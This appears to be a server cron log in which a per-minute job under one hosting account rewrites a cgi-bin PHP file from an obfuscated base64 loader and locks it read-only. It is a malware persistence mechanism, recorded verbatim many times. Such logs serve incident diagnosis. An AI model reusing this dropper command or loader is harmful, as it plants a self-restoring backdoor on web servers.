Sep  2 20:19:01 server CROND[2490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:19:01 server CROND[2491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:20:01 server CROND[2910]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:20:01 server CROND[2912]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:20:01 server CROND[2915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:20:01 server CROND[2923]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:20:01 server CROND[2926]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:20:01 server CROND[2927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:20:01 server CROND[2924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:20:01 server CROND[2925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:20:01 server CROND[2929]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 20:21:01 server CROND[3758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:21:01 server CROND[3757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:21:01 server CROND[3759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:22:01 server CROND[4227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:22:01 server CROND[4228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:22:01 server CROND[4229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:23:01 server CROND[4598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:23:01 server CROND[4599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:23:01 server CROND[4600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:24:01 server CROND[4972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:24:01 server CROND[4973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:24:01 server CROND[4974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:25:01 server CROND[5424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:25:01 server CROND[5426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:25:01 server CROND[5427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:25:01 server CROND[5437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:25:01 server CROND[5439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:25:01 server CROND[5435]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 20:25:01 server CROND[5434]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:25:01 server CROND[5436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:26:01 server CROND[6260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:26:01 server CROND[6261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:26:01 server CROND[6262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:27:01 server CROND[6728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:27:01 server CROND[6731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:27:01 server CROND[6730]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 20:27:01 server CROND[6729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:28:01 server CROND[7102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:28:01 server CROND[7101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:28:01 server CROND[7103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:29:01 server CROND[7473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:29:01 server CROND[7474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:29:01 server CROND[7475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:30:01 server CROND[7859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:30:01 server CROND[7861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:30:01 server CROND[7863]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 20:30:01 server CROND[7865]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:30:01 server CROND[7870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:30:01 server CROND[7864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
